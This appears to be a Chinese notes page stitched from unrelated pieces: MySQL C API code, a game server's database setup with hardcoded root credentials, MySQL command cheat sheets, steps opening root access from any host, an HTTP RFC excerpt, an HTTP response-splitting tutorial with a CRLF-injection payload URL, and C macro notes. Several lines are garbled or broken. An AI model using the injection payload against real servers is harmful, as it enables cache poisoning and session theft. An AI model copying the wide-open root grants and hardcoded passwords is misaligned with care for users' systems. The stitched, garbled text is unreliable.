C语言操作MySql数据库入门
int main()
{
MYSQL mysql;
MYSQL_RES *res;
MYSQL_ROW row;
// 初始化MYSQL变量
mysql_init(&mysql);
// 连接Mysql服务器,本例使用本机作为服务器。访问的数据库名称为“msyql”,参数中的user为你的登录用户名,***为登录密码,需要根据你的实际用户进行设置
if (!mysql_real_connect(&mysql, “127.0.0.1”, “user”, “123”, “mysql”, 3306, 0, 0))
{
cout << “mysql_real_connect failure!” << endl;
return 0;
}
// 查询mysql数据库中的user表
if (mysql_real_query(&mysql, “select * from user”, (unsigned long)strlen(“select * from user”)))
{
cout << “mysql_real_query failure!” << endl;
return 0;
}
// 存储结果集
res = mysql_store_result(&mysql);
if (NULL == res)
{
cout << “mysql_store_result failure!” << endl;
return 0;
}
// 重复读取行,并输出第一个字段的值,直到row为NULL
while (row = mysql_fetch_row(res))
{
cout << row[0] << endl;
}
// 释放结果集
mysql_free_result(res);
// 关闭Mysql连接
mysql_close(&mysql);
return 0;
}
#include "log.h"
#include "base.h"
#include "config.h"
#include "db.h"
namespace DBCtrl
{
string _dbIP = "192.168.6.165";
string _dbUser = "root";
string _dbPass = "passwd";
string _dbName = "football";
int _dbPort = 3306;
bool _createIfNotExist = true;
MYSQL* _mysql;
bool readCfgDB( void );
};
#define FIELD_AUTO(fname) #fname" INT(11) UNSIGNED not null auto_increment, "
#define FIELD_INT_UNSIGNED(fname) #fname" INT(11) UNSIGNED not null default 0, "
#define FIELD_SMALL(fname) #fname" SMALLINT(6) not null default 0,"
#define FIELD_ROLENAME(fname) #fname" VARCHAR(20) character set latin1 collate latin1_bin not null DEFAULT '',"
#define FIELD_DATETIME(fname) #fname" DATETIME NOT NULL DEFAULT '1970-01-01 00:00:00', "
#define FIELD_FLOAT(fname) #fname" FLOAT not null default 1, "
#define FIELD_INT_UNSIGNED_DEFAULT(fname, default_value) #fname" int(11) unsigned not null default "#default_value", "
#define FIELD_SMALL_DEFAULT(fname, default_value) #fname" SMALLINT(6) not null default "#default_value", "
MYSQL* DBCtrl::getSQL( void )
{
return _mysql;
}
bool DBCtrl::readCfgDB( void )
{
string strIniFile = //CONFIG::getConfigDir() +
string( getProgDir() )+ STR_FSEP + "server.ini";
_dbIP = BASE::readIni
_dbUser = BASE::readIni
_dbPass = BASE::readIni
_dbName = BASE::readIni
_dbPort = BASE::readIni
return true;
}
bool DBCtrl::dbInit( void )
{
readCfgDB( );
const char* engine = "InnoDB";//"MyISAM";
_mysql = switchToDB( _dbIP.c_str(), _dbUser.c_str(),
_dbPass.c_str(), _dbName.c_str(),
_dbPort, _createIfNotExist);
if ( _mysql == NULL )
{
logFATAL("init db error");
exit(9);
}
execSQL(_mysql, "CREATE TABLE IF NOT EXISTS " TABLE_ROLE_INFO " ("
FIELD_AUTO(id)
// FIELD_INT_UNSIGNED(roleid)
FIELD_ROLENAME(rolename)
" passwd char(16) character set latin1 collate latin1_bin not null DEFAULT '',"
" cookie char(32) character set latin1 collate latin1_bin not null DEFAULT '',"
FIELD_SMALL_DEFAULT(level, 1)
FIELD_SMALL(viplevel)
FIELD_INT_UNSIGNED(exp)
FIELD_INT_UNSIGNED_DEFAULT(hp, 100)
FIELD_INT_UNSIGNED_DEFAULT(money, 1000000)
FIELD_INT_UNSIGNED(gold)
FIELD_INT_UNSIGNED(charge)
FIELD_INT_UNSIGNED(hornor)
FIELD_SMALL_DEFAULT(cur_sceneid, 1)
FIELD_SMALL_DEFAULT(fromid, 1)
FIELD_DATETIME(lastaccess)
FIELD_DATETIME(inc_hp_time)
FIELD_INT_UNSIGNED(ip)
"roleblob blob default NULL,"
" PRIMARY KEY (`id`)"
// " UNIQUE KEY (`roleid`)"
" ) ENGINE=`%s` DEFAULT CHARSET=latin1;", engine);
#if 0
execSQL(mysql,"CREATE TABLE IF NOT EXISTS %s ("
"`id` int(11) unsigned NOT NULL auto_increment, "
"PRIMARY KEY (`id`) "
" ) ENGINE=`%s` DEFAULT CHARSET=latin1 auto_increment = 1000001" ,TABLE_ROLEDID, engine);
#endif
//mysql_close(mysql);
//mysql_library_end();
return true;
}
mysql查看数据库命令
打开的数据库的命令
mysql> use mysql
Database changed
查看数据库的命令
mysql> show databases;
查看数据表的详细结构
mysql> desc func;
新建数据库
mysql> create database school;
Query OK, 1 row affected (0.00 sec)
新建表
mysql> create table user01(
-> id varchar(20) NOT NULL,
-> userName varchar(10) NOT NULL,
-> age int(11) default'0',
-> sex char(2) NOT NULL default'm',
-> PRIMARY KEY (id)
-> )TYPE=InnoDB;
Query OK, 0 rows affected, 1 warning (0.02 sec)mysql>desc student;
插入和删除表中的数据
Create table student(stuName varchar(20),age varchar(20),id varchar(20),set0 char(1));
插入
mysql> insert into student(id,stuName) values('1','tomcat');
Query OK, 1 row affected (0.00 sec)
删除
mysql> delete from student where id='1';
Query OK, 1 row affected (0.01 sec)
删除表中所有数据
mysql> truncate table student;
Query OK, 1 row affected (0.01 sec)
删除表
mysql> create table temp(t varchar(1));
Query OK, 0 rows affected (0.00 sec)
mysql> drop table temp;
Query OK, 0 rows affected (0.00 sec)
创建新用户并给予权限
mysql> grant all privileges on *.* to dbuser@localhost identified by '1234'
with grant option;
更改Mysql用户密码
c:\Mysql5.0\bin>mysqladmin -u root -p password 1234
Enter password: ****
备份数据库及表
我们用mysqldump命令来备份数据库
c:\mysql\bin\>mysqldump –u root –p 3306 mysql>d:\backup.sql
执行此语句将把mydb 备份到D盘的backup.sql文件中
备份多个数据库表
c:\mysql\bin\>mysqldump –u root –p 3306 school user01 user >d:\backup.sql
此句的意思是把school库中的user01表和user表的内容和表的定义备份到D盘backup.sql文件中。
备份所有的数据库
c:\myql\bin>mysqldump –u root –p 3306 –all –database>d:backup.sql
还原Mysql数据库
c:\mysql\bin\mysql –u root –p 3306 school
还原其中的一个表
mysql> source d:\books.sql;
ERROR:
Unknown command '\b'.
Query OK, 0 rows affected (0.00 sec)
Query OK, 1 row affected (0.00 sec)
退出Mysql连接
mysql>quit(exit)
关闭mysql服务
C:\mysql\bin>net mysql
数据表都已经创建起来了,假设我们已经插入了许多的数据,我们就可以用自己喜欢的方式对数据表里面的信息进行检索和显示了,比如说:可以象下面这样把整个数据表内的内容都显示出来
select * from president;
也可以只选取某一个数据行里的某一个数据列
select birth from president where last_name='Eisenhower';
select语句的通用形式如下:
select 你要的信息
from 数据表(一个或多个)
where 满足的条件
select语句有几个子句,他们的各种搭配能帮你查出最感兴趣的信息,这些子句可以很简单,也可以很复杂,看看作者是如何详细讲解的
1、用各种操作符来设定检索条件
要想让select语句只把满足特定条件的记录检索出来,就必须给它加上where字句来设置数据行的检索条件。只有这样,才能有选择地把数据列的取值满足特定要求的那些数据行挑选出来。可以针对任何类型的值进行查找,比如说,对数值进行搜索
select * from score where score>95; //显示所有分数在95分以上的信息
也可以针对字符串值进行查找
select last_name,first_name from president where last_name='Tom'; //找出所有姓tom的总统
还可以对不同类型的值进行组合查找
select last_name,first_name,birth,state from president
where birth<'1950-1-1' and (state='VA' or state='BA');
//找出1950年前出生于VA州或BA州的总统
可见 where子句中可以使用的是算术操作符(+-*/%),比较操作
符(<>=)以及逻辑运算符,我们应该熟练理解这些操作符的含义(都很简单)
详细出处参考:https://www.wendangku.net/doc/138433537.html,/article/40096.htm
2012-11-26 09:59 Linux 下Mysql开放远程登录 方法一:
如果,你想myuser(远程连接的用户名)使用mypassword(远程连接的密码)从任何主机连接到mysql服务器的话。
mysql> GRANT ALL PRIVILEGES ON *.* TO ’myuser’@’%’IDENTIFIED BY ’mypassword’ WITH GRANT OPTION;
mysql>FLUSH RIVILEGES;
如果你想允许用户myuser(远程连接的用户名)从ip为192.168.1.6(你测试电脑上的IP)的主机连接到mysql服务器,
并使用 mypassword(远程连接的密码)作为密码
GRANT ALL PRIVILEGES ON *.* TO ’myuser’@’192.168.1.6’IDENTIFIED BY ’mypassword’ WITH GRANT OPTION;
方法是在安装mysql的机器上运行:
1、d:\mysql\bin\>mysql -h localhost -u root //这样应该可以进入MySQL服务器
2、mysql>GRANT ALL PRIVILEGES ON *.* TO ’root’@’%’WITH GRANT OPTION //赋予任何主机访问数据的权限
3、mysql>FLUSH PRIVILEGES //修改生效
===================================================
方法二:
第一:更改 “mysql” 数据库里的 “user” 表里的 “host” 项,从”localhost”改称'%'。
或者新加条记录,“host” 项为要访问的ip地址,并授权。重启mysql服务。
第二:在系统防火墙添加例外端口:3306,并允许例外。
错误提示:
ERROR 1130: Host '192.168.1.3' is not allowed to connect to this MySQL server
的解决方法:
1。改表法。可能是你的帐号不允许从远程登陆,只能在localhost。这个时候只要在localhost的那台电脑,登入mysql后,更改 "mysql" 数据库里的 "user" 表里的 "host" 项,从"localhost"改称"%"
1.mysql -u root -pvmware
mysql>use mysql;
mysql>update user set host = '%' where user = 'root';
mysql>select host, user from user;
2. 授权法。例如,你想myuser使用mypassword从任何主机连接到mysql服务器的话。
GRANT ALL PRIVILEGES ON *.* TO 'myuser'@'%' IDENTIFIED BY 'mypassword' WITH GRANT OPTION;
如果你想允许用户myuser从ip为192.168.1.3的主机连接到mysql服务器,并使用mypassword作为密码
GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.6.202' IDENTIFIED BY 'rootroot' WITH GRANT OPTION;
3.在window自带的防火墙里的例外添加3306端口
总结:
mysql -u root -p
mysql>use mysql;
mysql>select host from user where user='root';
mysql>update user set host = '%' where user ='root'; //可能会保存,不过无所谓,一查就知道已经改了
mysql>flush privileges;
mysql>select 'host' from user where user='root';
第一句是以权限用户root登录
第二句:选择mysql库
第三句:查看mysql库中的user表的host值(即可进行连接访问的主机/IP名称)
第四句:修改host值(以通配符%的内容增加主机/IP地址),当然也可以直接增加IP地址
第五句:刷新MySQL的系统权限相关表
第六句:再重新查看user表时,有修改。。
重起mysql服务即可完成。
14.13 Content-LengthThe Content-Length entity-header field indicates the size of the entity-body, in decimal number of OCTETs, sent to the recipient or, in the case of the HEAD method, the size of the entity-body that would have been sent had the request been a GET. Content-Length = "Content-Length" ":" 1*DIGIT An example is Content-Length: 3495 Applications SHOULD use this field to indicate the transfer-length of the message-body, unless this is prohibited by the rules in section 4.4.主要就是你数出网页的byte数
<->原理简介 http响应头截断是一种新的攻击技术,由该技术衍生了许多攻击的方法:web cache poisoning,cross user defacement,cross –site scripting等。攻击者利用它 可以获取用户的敏感信息甚至是包含用户名和密码的认证信息。在许多环境下都存在该攻击的可能,Microsoft ASP ,ASP NET, IBM WEBSPHERE,比较流行的的服务器,apache ,squid,还有浏览器IE6.0 SP1.
造成http响应头截断漏洞的主要原因是对用户提交的非法字符没有进行严格的过滤,尤 其是CR,LF字符的输入。攻击者通过发送一经过精心构造的request,迫使服务器认为其返回的数据是两个响应,而不是常规的一个响应。当可以通过精心制作的request完全 控制第二个响应时,可以通过这样来实现攻击:发送两个请求A,B。A请求包含构造数据,该请求致使服务器返回两个响应R1,R2,其中R2是可以通过在A中的精心构造而 完全控制的。服务器将R1作为response返回给A,而第R2则被服务器作为B的response而返回给了B﹙即使R2并不是服务器自己生成的)。
Request A------------->Web Server(R1,R2)
Request B------------->Web Server (本该是R3)
Web Server(R1)------------>A
Web Server(R2)——————>B
<二>基本技术 http响应头截断攻击重点在于可以在http头中输入数据,构造特殊字符形成截断。最可能的是在Location字段,还有在Set-Cookie字段中。实例:页面/redir_lang.jsp
<%
Response.sendRedirect(“/by_lang.jsp?lang=”+request.getParameter(“lang”)); %>
当提交english作为参数时,会转到/by_lang.jsp?lang=english,常规的响应如下:
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 12:53:28
Location: [/url][url=http://10.1.1.1/by_lang.jsp?lang=english]http://10.1.1.1/by_lang.jsp?lang=english
Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-
12510119693;path=/ Connection:Close
……………………….略
从以上可以看到的是:输入的参数已经提交到http头中,这样我们就可以构造特殊的字 符来截断http头,并到其后追加 一个自己构造的头:
/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0aShazam
服务器返回的数
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 15:26:41 GMT
Location: [/url][url=http://10.1.1.1/by_lang.jsp?lang=foobar]http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length:0
HTTP/1.1 200 OK
Content-Type: text/html
Content-length: 1
Shazam
Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-12510119693;path=/
Connection:Close
说明: 1、第一个响应是302 response,2、第二个响应是自己构造的200 response, 3、(在 报头之外的数据都略掉了,其实原文是存在的,而且在实际中该段是要给与考虑的)
这样我们就可以发送两个请求:
1、/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent- Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0aShazam
2、/index.htm
这样服务器对于第一个请求返回:
HTTP/1.1 302 Moved Temporar
Date:Wed,24 Dec 2003 15:26:41 GMT
Location: [/url][url=http://10.1.1.1/by_lang.jsp?lang=foobar]http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length:0
对于第二个请求返回:
HTTP/1.1 200 OK
Content-Type: text/html
Content-length: 19
Shamaz
这样就达到了欺骗目标服务器的目的
更多的在原文
##__VA_ARGS__
1.#
假如希望在字符串中包含宏参数,ANSI C允许这样作,在类函数宏的替换部分,#符号用作一个预处理运算符,它可以把语言符号转化程字符串。例如,如果x是一个宏参量,那么#x可以把参数名转化成相应的字符串。该过程称为字符串化(stringizing).
#incldue
#define PSQR(x) printf("the square of" #x "is %d.\n",(x)*(x))
int main(void)
{
int y =4;
PSQR(y);
PSQR(2+4);
return 0;
}
输出结果:
the square of y is 16.
the square of 2+4 is 36.
第一次调用宏时使用“y”代替#x;第二次调用时用“2+4"代#x。
2.##
##运算符可以使用类函数宏的替换部分。另外,##还可以用于类对象宏的替换部分。这个运算符把两个语言符号组合成单个语言符号。例如:
#define XNAME(n) x##n
这样宏调用:
XNAME(4)
展开后:
x4
程序:
#include
#define XNAME(n) x##n
#define PXN(n) printf("x"#n" = %d\n",x##n)
int main(void)
{
int XNAME(1)=12;//int x1=12;
PXN(1);//printf("x1 = %d\n", x1);
return 0;
}
3.可变宏 ...和__VA_ARGS__
实现思想就是宏定义中参数列表的最后一个参数为省略号(也就是三个点)。这样预定义宏__VA_ARGS__就可以被用在替换部分中,以表示省略号代表什么。比如:
#define PR(...) printf(__VA_ARGS__)
PR("hello");-->printf("hello");
PR("weight = %d, shipping = $.2f",wt,sp);
-->printf("weight = %d, shipping = $.2f",wt,sp);
省略号只能代替最后面的宏参数。
#define W(x,...,y)错误!
修改作者疏忽导致的错误,估计作者当时不在状态。。